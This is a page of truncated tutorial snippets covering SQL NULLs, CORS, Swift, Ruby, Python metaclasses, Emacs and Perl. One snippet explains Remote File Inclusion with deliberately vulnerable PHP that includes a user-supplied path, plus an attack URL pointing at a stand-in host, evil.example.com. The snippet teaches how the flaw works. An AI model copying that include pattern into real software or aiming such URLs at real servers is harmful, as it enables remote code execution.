Tutorial by Examples: f

The syntax for filtering for NULL (i.e. the absence of a value) in WHERE blocks is slightly different than filtering for specific values. SELECT * FROM Employees WHERE ManagerId IS NULL ; SELECT * FROM Employees WHERE ManagerId IS NOT NULL ; Note that because NULL is not equal to anything, not ...
Setting a field to NULL works exactly like with any other value: UPDATE Employees SET ManagerId = NULL WHERE Id = 4
For example inserting an employee with no phone number and no manager into the Employees example table: INSERT INTO Employees (Id, FName, LName, PhoneNumber, ManagerId, DepartmentId, Salary, HireDate) VALUES (5, 'Jane', 'Doe', NULL, NULL, 2, 800, '2016-07-22') ;
To customize appearance of all instances of a class, access appearance proxy of the desired class. For example: Set UIButton tint color Swift: UIButton.appearance().tintColor = UIColor.greenColor() Objective-C: [UIButton appearance].tintColor = [UIColor greenColor]; Set UIButton background...
Use appearanceWhenContainedInInstancesOfClasses: to customize the appearance for instance of a class when contained within an instance of container class. For example customization of UILabel's textColor and backgroundColor within ViewController class will look like this: Set UILabel text color Sw...
A basic CORS request is allowed to use one of only two methods: GET POST and only a few select headers. POST CORS requests can additionally choose from only three content types. To avoid this issue, requests that wish to use other methods, headers, or content types must first issue a preflig...
When a server receives a preflight request, it must check if it supports the requested method and headers, and send back a response that indicates its ability to support the request, as well as any other permitted data (such as credentials). These are indicated in access-control Allow headers. The ...
The scope outside of any function or class is the global scope. When a PHP script includes another (using include or require) the scope remains the same. If a script is included outside of any function or class, it's global variables are included in the same global scope, but if a script is include...
A Regexp can be created in three different ways in Ruby. using slashes: / / using %r{} using Regex.new #The following forms are equivalent regexp_slash = /hello/ regexp_bracket = %r{hello} regexp_new = Regexp.new('hello') string_to_match = "hello world!" #All of th...
let someValue : String = "Something the user entered" let text = NSMutableAttributedString(string: "The value is: ") text.appendAttributedString(NSAttributedString(string: someValue, attributes: [NSFontAttributeName:UIFont.boldSystemFontOfSize(UIFont.systemFontSize())])) ...
Functionality in metaclasses can be changed so that whenever a class is built, a string is printed to standard output, or an exception is thrown. This metaclass will print the name of the class being built. class VerboseMetaclass(type): def __new__(cls, class_name, class_parents, class_dict)...
Equals is declared in the Object class itself. public virtual bool Equals(Object obj); By default, Equals has the following behavior: If the instance is a reference type, then Equals will return true only if the references are the same. If the instance is a value type, then Equals will...
For a function or subroutine to be useful it has to be referenced. A subroutine is referenced in a call statement call sub(...) and a function within an expression. Unlike in many other languages, an expression does not form a complete statement, so a function reference is often seen in an ass...
Let's set yourself up to build your own awesome Progressive Web App with Polymer! Before you can start installing Polymer you require the following: Node.js - check out the StackOverflow Installing Node.js Documentation Bower - you can install Bower using the Node Package Manager installe...
Avoid unnecessary operations and method calls wherever you can, especially in a method which is called many times a second, like Update. Distance/Range Checks Use sqrMagnitude instead of magnitude when comparing distances. This avoids unnecessary sqrt operations. Note that when using sqrMagnitude,...
Remote File Inclusion Remote File Inclusion (also known as RFI) is a type of vulnerability that allows an attacker to include a remote file. This example injects a remotely hosted file containing a malicious code: <?php include $_GET['page']; /vulnerable.php?page=http://evil.example.com/...
Re-Save open file under the same filename (Save): C-x C-s Write as filename (Save As): C-x C-w filename The new file name will be prompted in the minibuffer. Create new file or load existing file (New / Load): C-x C-f filename With the mnemonic here for f meaning file. You will...
"Window" in Emacs refers to what might otherwise be called a "pane" or "screen division". Some window manipulation commands include: Split current window horizontally: C-x 2 Split current window vertically: C-x 3 Select next window: C-x o Close current window: C-x...
Example of a buffer list CRM Buffer Size Mode Filename[/Process] . * .emacs 3294 Emacs-Lisp ~/.emacs % *Help* 101 Help search.c 86055 C ~/cvs/emacs/src/search.c % src 2...
Hash references are scalars which contain a pointer to the memory location containing the data of a hash. Because the scalar points directly to the hash itself, when it is passed to a subroutine, changes made to the hash are not local to the subroutine as with a regular hash, but instead are global...

Page 147 of 457